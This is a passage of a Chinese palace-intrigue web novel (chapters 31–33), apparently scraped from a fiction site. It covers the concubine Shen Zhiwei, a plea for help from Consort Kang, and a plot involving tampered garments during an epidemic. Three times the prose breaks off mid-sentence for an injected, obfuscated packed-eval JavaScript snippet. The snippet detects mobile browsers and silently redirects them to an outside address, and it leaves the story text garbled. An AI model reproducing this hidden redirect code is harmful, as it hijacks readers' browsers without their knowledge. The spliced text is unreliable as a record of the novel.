荣妃的耐心似乎已经耗尽,“康嫔,本宫的母家还没倒呢,你若是安心为本宫办事,本宫会向往日一样厚待你的家人;你若弃本宫而去—— 就是本宫的敌人。” 31. 求救 “臣妾给兰嫔娘娘请安,娘娘万福金安。” 沈知微忍不住勾起唇,“妹妹快快请起。你我姐妹之间还讲究这些虚礼,倒让姐姐我不好意思了。”她示意云雁,“给柔答应看坐。” 柔答应顺势坐下,脸上依旧洋溢着笑容,“娘娘如今已是嫔位,又是这闲月宫主位,该有的礼仪不能少。娘娘待人和善不计较这些虚礼,臣妾我可不能僭越。” 沈知微看柔答应这般守规矩,故意嗔道:“瞧瞧,如今一口一个娘娘,听着都生分了。我们俩在这闲月宫相伴多日,素来以姐妹相称,我也是真心拿你当妹妹的,不曾想你却不愿意叫我姐姐了。” 柔答应失笑,“姐姐哪里的话。罢了,妹妹今日可是来给姐姐道喜的。”说着,她从侍女手中拿过一束花,介绍道:“这是臣妾家乡新培育的品种木梨花,月初时和其他贡品一起进贡给了宫中。这一束是我家里托人带给我的,原本还是花苗,我将养了半月,待花朵完全醒过来后,特地带来送给姐姐,恭贺姐姐荣升之喜。” 沈知微接过花,放在鼻子下嗅了嗅,“好香啊。” “木梨花洁白芬芳,香味清新宜人,用于装扮寝宫或是制成香囊、香水都是极好的。若是晒干了,还可以泡茶,具有清火祛热的功效。” “这倒是有意思,你对花懂得真多。” 柔答应笑了,“那当然了,我家是山东人,家里以给皇家上贡这些花花草草为业,连带着我也懂一些。” 沈知微点点头,“我记得从前后院花坛里那些花大半都是你种的,昨日我去后院,却见花坛都空了,如今怎么不种了?” “害,那些花是我从住进闲月宫起就开始种的,看久了觉得没意思;这不,前些日子宫里得了不少新品种,我就将花坛清空了,打算下午去花房选些新的移栽过来呢。” 沈知微听着来了兴趣,“今日宫里倒没什么事,你若是想选些新的,我陪你去就是。” 柔答应眼睛顿时明亮起来,“姐姐愿意一起去再好不过了,姐姐若是在,能得到的花苗必是佳品。” “择日不如撞日,你等我片刻我去更衣,我们这就去。” “好。”柔答应满口答应。 从闲月宫到花房,要经过皇后所居的安德宫,海贵人魏常在的永福宫,康嫔的向阳宫和荣妃的紫薇殿,一来一回要半个时辰;若是从御花园抄小路穿过去,大致只要一刻钟。今日天气虽然不算十分炎热,可到底还是夏季,沈知微和柔答应都不想在路上晒太久,所以一致选择从御花园抄小路去花房。 沈知微没有乘坐步辇,选择和柔答应一同在成片的绿荫中步行。一路上,柔答应给沈知微介绍了她们一路遇见的那些花花草草分别是什么品种,有哪些来历,香味色泽形态,该如何养植等等,沈知微从这些话中只听出了一个字——那就是贵。再放眼望去,这些花草树木仿佛不再是死物,以它们的名贵程度来看,就算有成精的都不奇怪。 “呜呜——”附近传来奇怪的呜咽声。 沈知微顿住脚步,下意识想这些名贵花草不会真有成精的吧,警惕地打量四周。 “姐姐,怎么了?”柔答应转过身,察觉到沈知微的异常。 “你听见了吗?” “什么?” 沈知微顺着声音寻去,锁定一个老槐树,朝它背后走去。柔答应满头问号,趋步跟了上去。 槐树后果然有一个人。沈知微打量她衣着,觉得不像是普通的宫人,故而绕到前面,看到那人的面貌时惊讶失声,“康嫔娘娘?!” 柔答应看到满脸泪痕的康嫔,瞪大眼睛后又慌乱地避开,“康嫔娘娘吉祥。” 康嫔同样惊讶地看向二人,眼神躲躲闪闪,抬起衣袖迅速擦去了脸上的泪痕,有些不好意思,“怎么是你们啊。”康嫔的语气有些许抱怨,“这大早上的,你们不在宫里,怎么也来御花园了?” 沈知微不答反问,“那康嫔娘娘为何在此?” 康嫔沉默地看向她,黑漆漆地眼眸和沈知微对视,良久,长叹了一口气,“还不是因为你。” 不堪的回忆倾泻而下,康嫔从喉咙深处发出呕哑的声音,“那日澄心台一事后,你大出风头,荣妃连带着整个阮氏都失去了皇上的信任。荣妃失宠,本来就有怨气;又得知你封了嫔位,简直是怒不可遏。她不能找你,就拿我撒气,前几日还只是不痛快骂两句,如今……已经开始动手了。” 康嫔掀起衣袖,露出手臂上一大片新鲜狰狞的伤痕,“这是今天荣妃拿桌上的小香炉砸我身上,香炉灰洒在衣服上烫的。” 那伤口有一个成人巴掌大小,多看两眼都觉得头皮发麻。 沈知微和柔答应面面相觑,不知该如何宽慰她。后宫中谁人不知康嫔依附荣妃生存,康嫔从前不知得了荣妃多少好处,如今荣妃要拿她撒气,旁人能说什么。 气氛一时有些尴尬,沈知微垂眸,打算找个借口离开。康嫔似乎看穿她的想法,一下子抓住沈知微的手,屈膝行礼,“兰嫔,我知道我们从前交情不深,今日话说得唐突,可我实在是没有办法了,求你帮帮我吧!” 沈知微有一瞬间愣住,扶住康嫔的胳膊要将她拉起来,“娘娘和本宫同为嫔位,怎可向本宫行礼。” 康嫔并未起身,反而是就着这个姿势握紧沈知微的手,声音颤抖,“荣妃如今已是强弩之末,眼看着要完了。我就是……就是怕她在垮台之前一直拿我出气,她还没完,我就先被折磨死了。” 她声音哽咽,竭尽全力不让泪水从眼眶中流下,看得让人心揪。“我从前是为荣妃做事,但我从未害过你。你一向心慈,连宫人有难都愿意出手相助,更何况我们同为姐妹,我……我能不能求你护我一二,替我在皇上面前进言,让我能逃脱荣妃的折磨。可以吗?” “这……”沈知微拧着眉,面露难色。 “如今后宫中最得宠的人就是你,除了你,谁还能帮我呢?只要你愿意救我这一次,从今以后我一定全力侍奉你,回报你的大恩大德。”康嫔目露真切,“实不相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787311|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞒,今日即使不是在此偶遇,我也是要去闲月宫拜会你的,或许我们能见得更体面一些……我很少求人,这回是实在没办法了。” 沈知微心里有些烦躁,她和康嫔之间原本并无往来,又因为荣妃的关系,平时见面视而不见都算好的了,这康嫔突然来求她帮忙,算怎么回事啊。 从内心而言,沈知微压根不想帮她,只想尽快摆脱康嫔的纠缠。她奋力挣脱康嫔抓住她的手,勉强一笑,“康嫔娘娘切勿妄自菲薄,娘娘在宫中资历比本宫深,若是真蒙受了冤屈,大可直接找皇后娘娘和皇上做主。本宫位卑人轻,娘娘都做不到的事,本宫哪里能做到呢?” “你……”康嫔面露难色,叹了口气,“皇后娘娘和荣妃水火不容,我与荣妃出现裂痕,皇后巴不得在一旁看好戏,又怎会帮我呢?至于皇上,我只有在年节宴饮上才能见到,连话都说不上一句,皇上怎会为我做主?你正值盛宠,哪里能体会到宫中无宠之人的艰辛,也不会明白被人威胁是什么滋味……”康嫔越说越动容,眼底映出一抹悲凉。 沈知微有些不高兴了,腹诽道怎么不帮忙还带道德绑架的,难不成满宫中只有我能救你了?可我不想帮啊。 她以前是为柔答应出过头,帮过魏常在,顺手也帮过一些家里遭难的宫人,可这一切的前提是她们之间关系简单,可康嫔就不一样了。她若是帮了康嫔,她与康嫔之间、与荣妃之间、甚至于与皇后之间,一切都会变得复杂起来,不知会产生多少纷争。她愿意做个好人,但不代表她是真圣母。 沈知微的嘴角垮了下来,脸色很不好看。康嫔察言观色,迅速松开了手,“我……我也是一时着急,你有顾虑是正常的。不过你放心,我会用行动向你证明的。” 沈知微不置可否,淡淡地说道:“娘娘手上的伤,还是找御医包扎一下吧。本宫还有事,就先告辞了。” 说罢,她转身离开。柔答应匆匆行了个礼,也转身跟着沈知微走了。 在她们身后,康嫔漆黑的眼眸凝住沈知微渐行渐远的背影,先前所有的柔弱和悲戚尽数消散,转变成难以捉摸的不甘和愤恨。 “姐姐,你相信康嫔说的吗?”二人走去不远,柔答应抑制不住心中的好奇,率先打破沉默。 沈知微回头看她,反问道:“你相信吗?” “额……我只是觉得有些奇怪,旁人来找姐姐帮忙就算了,怎么康嫔也来?她原本是荣妃的人,这么难道不算背主吗?”柔答应摇了摇头,不太认同康嫔的做法。 沈知微顿住脚步,看向柔答应:“算。荣妃作恶再多,好歹庇护她多时。我与荣妃之间恩怨纠葛不少,她就算要再投明主,也不该来找我。” “还有啊,康嫔娘娘早不来晚不来,偏偏在姐姐刚得封嫔位的时候来,世上真有这么巧的事?这背后……姐姐还是谨慎些好。” 沈知微点点头,“事出反常必有妖,我先不理会她,多观察观察看看。她若是别有用心,总会暴露出来的。” “姐姐说的是。” 32. 攀扯 次日清晨。沈知微注意力全在桌案上的花上,碗口粗的瓷瓶中,插着一束拼色百合。花瓣内侧呈紫红色,白色的花瓣向四周延伸,株形端直,尽态极妍。沈知微手里拿着一个水壶,正往花瓶中灌水。 “姐姐且慢,”柔答应抬手制止,“这拼色百合昨日取回来时姐姐已经浇过水了,今日不可再浇,不然花苗会淹死的。每隔七日浇一次水即可。” 沈知微“噢”了一声,听劝放下了水壶,又拿起放在桌上的剪刀。 柔答应笑了,“看看姐姐当真喜欢这束花,从昨日到今日,已经修剪好多次了。” 沈知微相视一笑。昨日她和柔答应去花房,上百种类的花看得她眼睛都花了,最后陪柔答应选了六七种能在后院花坛的花苗。这株拼色百合是沈知微为自己选的,柔答应说它花期长,还有镇静安神的功效,沈知微便决定将它放在寝殿中养着。 在剪掉花叶上最后一点微小的瑕疵后,沈知微放下剪刀,起身招呼柔答应,“走吧。今日要给皇后娘娘请安,再不出门就要迟了。” 因为先前的事,皇后行事低调了许多,对外称身体抱恙,连日常的请安问候都免了。可就在昨日,皇后突然通知六宫嫔妃,说今日晨起要到安德宫聚首,有要事商议。这煞有介事的样子,沈知微自然不敢不当回事。 二人刚走出殿外,一道熟悉响亮的声音扑面而来。 “兰嫔妹妹,我来的可巧?”——是康嫔。 沈知微和柔答应对视一眼,双双都看出了对方眼底中的复杂神色。 康嫔仿佛没看到似的,笑呵呵地上前打招呼,“我今日可是特地来找兰嫔妹妹一同去安德宫的。皇后突然召集众姐妹到安德宫,妹妹可知道是为什么吗?” 沈知微看着她,“哦?那依姐姐所见,是为什么呢?”其实她并不感兴趣皇后召集众人的原因,但也不想因为这种小事和康嫔闹翻,干脆给一点小小的反馈打发掉康嫔。 康嫔自然地挽住沈知微的手,带着她往外走,故作神秘地说:“宫外来人啦,全是萨满法师,有老的有年轻的,一进宫就占据了含光殿。皇后召集大家多半跟这群人有干系。” 沈知微完全不习惯康嫔跟她这么亲密,身体往外侧了侧,问道:“萨满法师?难不成宫中发生什么事了?” “那就不知道了,”康嫔依旧挽着沈知微的胳膊,“萨满法师入宫,一定有大事发生,兰嫔你可要小心了。”她挑了挑眉,眼眸饱含深意,“你放心,真有什么事,我一定会站在你这边,我昨天说的话都算数的。再说了,我们两个人共同应对,总比一个人单打独斗强。” 沈知微用力压下内心的翻涌,勉强挤出一个假笑:“姐姐多虑了。本宫想皇后娘娘此举自有其用意,若是能让大家知晓的自会告诉我们,我们只消耐心等待即可。” 康嫔尴尬地笑了笑,仿佛没听懂沈知微话里的意思,继续并排走在沈知微身边。只是在旁人觉察不到的地方,挽住沈知微的手悄悄放了下来。 闲月宫门口,沈知微和康嫔先后离开,柔答应跟在最后,目送着沈知微和康嫔的背影,不甘地撇下嘴角。 三人进入安德宫的时候,其他妃嫔已经到了。 见康嫔和兰嫔一同进来,殿内众人原本平淡苍白的脸色瞬间变得色彩斑斓。 荣妃瞪了康嫔和沈知微一眼,恨恨地侧过脸,精巧白皙的面庞仿佛瞬间凝结上了一层冰霜。元妃抬眸观望,纯嫔嗤笑出声,海贵人微微皱眉,所有人的目光都落在了他们身上。 沈知微有些不自在,有意回避这些视线,匆匆坐到了自己座位上。 不一会儿,皇后走了出来。 还是那套凤冠吉服,还是红唇粉面,娥眉入鬓。可不知怎的,沈知微总觉得皇后的身形单薄了不少,两侧面颊也有轻微的凹陷。仿佛那宽大华丽的袍服所笼罩的,是一具形销骨立的躯体。 皇后苏妙容端坐在凤座上,目光扫过众人,淡淡地说道:“诸位耐心等上一等,皇上稍后就到。” 皇后煞有介事的模样让不少人的心都提了起来,殿内鸦雀无声。直到门外传来沙沙的脚步声,桓宸裹挟着清晨的冷风走了进来,神色凝重,没看任何人,径直坐到大殿正中的龙椅上。 “臣妾给皇上请安,吾皇万岁万岁万万岁。”皇后和诸位嫔妃皆屈膝行礼,齐声高喊。 “都起来吧。”桓宸不动如山,“今日叫你们来,是有一件要事。” 他停顿片刻,神色沉重,“今年夏汛,豫南等地暴雨不断,大雨淹没农庄,冲毁农田,数万百姓流离失所。若只是水灾倒也能应付,然而祸不单行,京畿地区近来又出现了疫病,时疫肆虐,令我大楚百姓人心惶惶。经钦天监奏请,朕决定请萨满法师到宫中跳神驱邪,驱疫消灾,为天下祈福。” “时疫?京中有时疫了?会不会传进宫里来啊?”纯嫔花容失色,眼巴巴地向皇上求证。 桓宸瞪了她一眼,没有理会她,继续说道:“跳神仪式将于三日后举办,具体事宜将由皇后告知诸位,事关国本,万不可有任何疏漏。” 皇后顺势说道:“此事事关重大,按照从前的规矩,后宫中参加法事的人要提前斋戒和净身,着素色常服。在法师开始跳神仪式之后,不可大声喧哗,不可直视萨满法器与神灵画像,不可随意走动。要根据萨满法师的口令行‘三跪九叩’之礼,齐诵经文,在获得法师允许后方可离场。都听明白了吗?” 众妃了然,再次向皇上和皇后行礼,“臣妾谨遵皇上、皇后教诲。” 皇后看向桓宸,用眼神询问皇上的意思。桓宸点点头,两只手撑在大腿上,“其他的就由皇后来安排吧,元妃从旁协助。” “是。”皇后垂下眼眸,眸底犹如深潭。她心中有些怨狠,也有些苍凉,她是皇后,可是这个皇后当的比谁都憋屈;先是荣妃协理六宫,在她眼皮底下风光了整整两年;后来荣妃失宠了,现在又让元妃来分她的权力。是不是再过一段时间,还会有其他新宠来分一杯羹? 她恨每一个抢夺她权力的人,这些人就像催命符一样跟在她身后,让她喘不过气来,进一步加剧她身体的凋敝。 桓宸走了。在交待完这件事后,带着一大帮太监侍卫回了三省殿。 苏妙容疲惫翻涌上心头,让诸位嫔妃都退下了。 沈知微起身要走,可康嫔却无比自然地靠近她,挽着她的胳膊要跟她一起,一边向外走一边说:“皇后今日的脸色太吓人了些,尤其是最后那会儿,仿佛是纸人做的,一吹就倒似的。” 沈知微簇起眉。她本就不喜康嫔与她过于亲近,更不想再经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“微臣给兰嫔娘娘请安。” “许太医免礼,”沈知微端坐在高位上,面上冷静持重,却不自觉攥紧了隐藏在衣袖中的手,“如今宫中事忙,许太医今日前来所为何事?” “微臣奉皇上之命,给娘娘送太医院研制的退热汤和避瘟香囊。”他将手中的药包转交给孔嬷嬷,“皇上让微臣转告娘娘,当下疫病有爆发趋势,娘娘切记要爱惜身体,减少出门,若有不适可派人来找微臣。” 沈知微悄悄松了口气,“许太医有心了。本宫出门不便,劳烦许太医提本宫谢过皇上。” 许太医拱了拱手,弯下脊背,“微臣领命。方剂既已带到,微臣太医院还有事,就先告退了。” 沈知微点点头,“嬷嬷,替本宫送许太医,将皇上新赏的东阿阿姣给许太医带上。” 殿外,原本还艳阳高照的天空,轰得一声打了个响雷。乌云从天际压来,笼罩住整个紫禁城,所有的红墙黄瓦、华丽宫殿都笼上一层暗影,让人不由得心悸。 沈知微看向桌上的药剂,悲哀地想到,自从穿越到后宫,仿佛从未有过什么安生日子可过。幸好,她还是幸运的,在危急时刻也有人挂念,日子总不算太难过。 33. 祸起 “我来看兰嫔,凭什么不让我进去?!” 康嫔站在闲月宫门口,横眉冷对。 孔嬷嬷只身挡在门口,赔着笑脸,“康嫔娘娘勿怪,宫中如今出了疫病,为了大家伙的健康考虑,实在是不宜见客。这也是为了康嫔娘娘您的健康着想啊。” 康嫔“哼”了一声,举起手中的药包,“亏得我大老远跑来,眼巴巴地给你们送艾草包,结果你们呢,连门都不让我进。”她声音一沉,黑漆漆的眼睛瞪着孔嬷嬷,“到底是你不待见本宫,还是兰嫔不待见本宫?” 孔嬷嬷故作为难,“娘娘这是哪里的话,如今情势特殊,并非故意为难娘娘。” 康嫔一脸不忿,将艾草包往身后侍女身上一丢,气呼呼地走了。 孔嬷嬷看着她的背影,轻叹了一口气,将宫门重新重重关上。 走在宫道上,侍女为康嫔打抱不平,“娘娘您跟兰嫔同为嫔位,好心给她送东西,她竟然这样对您,真是不识好歹。” 康嫔气得脸色煞白,咬牙切齿露出狰狞的表情,才压下心头的那股火。 “她得意不了两天了。” 二人走出了一段距离,迎面遇见内务府新上任的总管高子祥领着三个小太监从身侧走过。 “等等。”康嫔突然转身,目光落在太监手里的托盘上。 “这是要去哪啊?”康嫔声音尖锐而傲慢,“手里都拿的什么?” 高子祥心里一咯噔,回身看到康嫔,眼皮颤了颤,毕恭毕敬地行了个礼:“回禀康嫔娘娘,奴才几个正要往闲月宫去,给兰嫔娘娘和柔答应送法会上要穿的素服。” 康嫔走进了几步,目光落在托盘上,“本宫的素服送了吗?” “回禀娘娘,已经派人给您送寝宫去了。” 康嫔撇了撇嘴,伸手在衣服上翻了两下,眉目低垂不知道在想什么,突然扬起脸:“也不知道你们送的衣服合不合身,我看这两件倒是不错,不如把它给我吧,我带回去试试。” “这……” 康嫔冷下脸,“怎么,还不让人试了?你们内务府送来的衣服,式样时好时坏,本宫若非亲眼看着,还不知你们要拿什么破烂来糊弄本宫呢。本宫就要这件。” “可是……”高子祥满脸愁容。 “别可是了。本宫刚从闲月宫回来,兰嫔现在不见客,你去了也没用。再说了,本宫拿走这件,你晚些时候再把本宫那件给兰嫔送去不就行了。” 说罢,康嫔直接拿起托盘上的两件衣服,交到了身后的侍女手上。她才不管高子祥的想法,带着侍女袅袅婷婷地走了。 “哎!这……” 高子祥看着她们的背影,猛一拍大腿,低声懊恼道:“这叫什么事儿啊!” 日落黄昏,月亮在云层中悄然升起。 内务府的小太监再次敲开了闲月宫的大门,将素服交到了来开门的孔嬷嬷手中。 沈知微坐在殿中,正在用一盏燕窝,看到孔嬷嬷拿着素服进来,有些奇怪,“高公公不是说晌午送来吗?怎么这会儿才送来?” 孔嬷嬷同样不知情,“或许是有什么事耽搁了吧。刚刚在外面,我看是一个面生的小太监送来的,并非是高公公。柔答应的那件我已经派人送过去了,这件是娘娘的。” 沈知微目前落在孔嬷嬷手里的那件素服上,警惕地抬起头,“面生的小太监?确定是内务府的人吗?” “人倒是内务府的人,他身上还有内务府的腰牌呢,说是叫兴子什么来着。” 沈知微抿起唇,思索后开口,“是内务府的人最好,就怕有人……这样吧,疫病这么厉害,你将这件素服用艾叶熏一熏,好好杀杀毒。明日你差人去问问高公公,看今天这件是不是他让送来的素服,别出什么岔子了。” “是,娘娘谨慎些好。” 向阳宫内,康嫔正坐在榻上,看到来人“啪”的一声放下茶盏,扫了眼殿中服侍的侍女,用手帕掩面虚咳了一声,“你们都下去吧。” 外面的侍女退下后,殿中只剩下康嫔、康嫔的贴身侍女和内务府的小兴子。 康嫔眼眸中闪着亮光,“怎么样了?她有怀疑吗?” 小兴子俯耳垂手,“奴才看着孔嬷嬷拿进去了,应该没问题。奴才怕出岔子,走之前特地交代了,让她们尽快试试服装合不合身呢,不合身我还拿回去改。” “好,”康嫔点点头,“你在内务府盯着些,若有其他情况立即告诉我。本宫这些年养着你,也到了你该回报本宫的时候了,别让本宫失望。” “康嫔娘娘放心,兴子愿为娘娘赴汤蹈火在所不辞。” 康嫔得意地勾起唇角,向侍女使了个眼色。身边的侍女从荷包中掏出了两锭银子,放在兴子的手中,“喏,这是娘娘赏你的,事情办成了,还会有重赏。” 兴子嘴角忍不住向上翘起,连声音都带着雀跃,“多谢康嫔娘娘!” 康嫔抿起唇,摆了摆手,“退下吧,出去的时候小心些,别被人发现了。” 兴子行了礼,退了几步告退离开。 次日清晨,一夜暴雨过后天彻底放了晴,晨风裹挟着雾气,吹到人身上,冷飕飕的。 沈知微站在殿外的廊檐下,目光越过宫墙看向远方泛白的天。她起初还觉得一直待在宫里无聊,想趁人少的时候出去转转,后来听说宫中发现感染时疫的宫人越来越多,现下在冷宫专门辟出了三间屋子,用来安置感染时疫的宫人,这下是彻底不敢出门了。 沈知微只求她宫里的人平平安安,大家共同度过此劫,便心满意足。 在殿门口站的太久,清晨的冷风仿佛在衣服上渡了一层寒气,透过薄薄的衣料浸到皮肤,沈知微有些发冷,转身准备回寝殿。 刚一抬脚,突然弦月阁传来砰砰乓乓的响声,紧接着柔答应的侍女莺儿匆匆跑了出来,端了盆水后折回寝殿。 沈知微眉心一跳,突然有一种不好的预感涌上心头。她疾步往弦月阁走去,并未进入殿中,而是站在弦月阁门口呼唤莺儿, “莺儿,莺儿!” 莺儿匆匆跑了出来,看到沈知微,下意识后退两步,慌乱地行了个礼,“兰嫔娘娘吉祥。” 沈知微打眼一看,见她身上还沾着水渍,一小缕头发还散在额前,不禁皱起眉,“这是怎么回事?” 莺儿眼角泛红,眼底的黑影昭示着她的疲惫,她看到沈知微煞有介事的样子,眼中闪过一丝慌乱。 “到底怎么回事?”兰嫔沉声。 “这……这……”莺儿支支吾吾,实在没有办法,扑通一声跪在地上,“兰嫔娘娘,我们小主晨起有些发热,休养两日就好,没什么大碍的,求您千万别赶她走!小主不能去冷宫啊!” 沈知微只觉脑海中轰然炸开,头脑中紧绷的一根弦此刻竟如此轻巧的断裂,多日来的担惊受怕俨然成为事实,不知为什么,心里除了害怕外,竟然有一种奇异的、闸刀已然落下的释然。 她沉默了几秒,无声地叹了口气,“请太医了没有?” “还……还没有,昨夜下雨,想来小主只是夜里着了凉,今日退了热就好了。” “胡闹!”此刻,沈知微脸上浮现了明显的不悦,这时候发热,谁都知道是怎么回事,怎能用轻飘飘一句着了凉就打发她,这样岂非是至其他人安危于不顾。 沈知微当即让人封锁弦月阁,命云雁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833578|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去请许太医来。 “兰嫔娘娘……”莺儿站在封锁线以内,隔着门廊与沈知微遥相对望,嘴唇轻颤,想说却不敢说。 沈知微回眸瞥了她一眼,扬声道:“你放心,我与你主子情同姐妹,不会弃她不管的。许太医马上就到,你让她安心休养便是。” 说罢,沈知微转身离开,莺儿感激的声音从身后传来。 沈知微回到殿中,紧锣密鼓地做出一系列安排。 “先前许太医送来的退热汤,煮两剂给柔答应和莺儿送去;至于后续如何治疗,等许太医来了再说。” “柔答应和莺儿的餐食,安排专人配送。一应生活用品、恭桶等用过后全部焚烧销毁,不可堆积在宫中。” “所有宫人,干活洒扫均佩戴面罩,不可聚集交谈,若有异样即刻来报告本宫。” “闲月宫各个区域,每日熏艾消杀三次,弦月阁及其附近重点消杀。” “还有最重要的一点,”沈知微疲惫地闭上眼,单手支撑脑袋,“禀告皇上、皇后娘娘,闲月宫出现了疫病,除了许太医前来照看柔答应外,还请再多派一名太医来,为其余人请平安脉。” “娘娘!”云雁急得剁脚,“宫中又不是没有安置得了疫病的宫人的地方,让柔答应去那里就好了,娘娘何苦把自己搭进去呢!” “胡闹!”沈知微嗔道:“冷宫那几间屋子是安置患病宫人的,柔答应位分再次也是主子,怎能住在那里。如今宫中还没听过有哪位主子得了疫病,柔答应是第一例,不住在弦月阁那住哪里?” “可是……” 云雁的担忧其实没错,一旦上报闲月宫出了疫病,恐怕在未来相当长的一段时间,没有人会再踏足闲月宫半步,这对于刚刚封嫔的沈知微来说如同晴天霹雳。什么巩固宠爱、拉拢人心、谋取利益……所有一切在初封嫔位时的构想,在消息传出去的那一刻,将全部化为乌有。若是无人无津久了,就此失宠也说不定。 沈知微看着桌上花瓶中插着的拼色百合,良久后说道:“后宫中虚情假意的人多,真心相待的人寥寥无几。柔答应真心待我,我做不到弃她于不顾。”她看向云雁,坚定而执着,“按我说的去做。” 云雁不敢在多言,急匆匆地走了。 一直在殿中收拾的孔嬷嬷听了片刻,眼珠在眼眶中打转,“嘶”了一声,又摇了摇头。 “怎么了?”沈知微问。 孔嬷嬷犹豫了片刻,还是开了口,“娘娘不觉得奇怪吗,这次时疫爆发,内务府防范的紧,一早就令各宫关闭宫门,先前也并未有宫里主子感染时疫;咱们宫中有许太医关照,一早配备了退热汤和避瘟香囊,按理说是安全的,怎么这第一例主子感染,偏偏出现在咱们闲月宫呢?” 孔嬷嬷语调轻微,可落到沈知微耳中,完全不是那么回事了。 第一例主子感染…… 出现在闲月宫…… 真的有那么巧吗? 若是有人蓄意陷害,想让闲月宫出事,那歹人的最终目标,到底是柔答应,还是……她? 可是闲月宫紧闭宫门三日,谁又有能耐让外面的疫病传到闲月宫内来呢? 有谁来过?或者谁与外面的人接触过? 云雁和莺儿每日去御膳房取餐食;内务府派人来送过服装和物资;许太医几日前来送过药包…… 不对,不对,一定是哪里出了问题。 沈知微猛地抬起眼眸,对孔嬷嬷说道:“让送饭的那个人去问莺儿几个问题,一定要让莺儿如实相告!” 沈知微的手不自觉攥紧裙摆,若真有人在她眼皮子底下耍花招,她一定以牙还牙,让那歹人付出代价!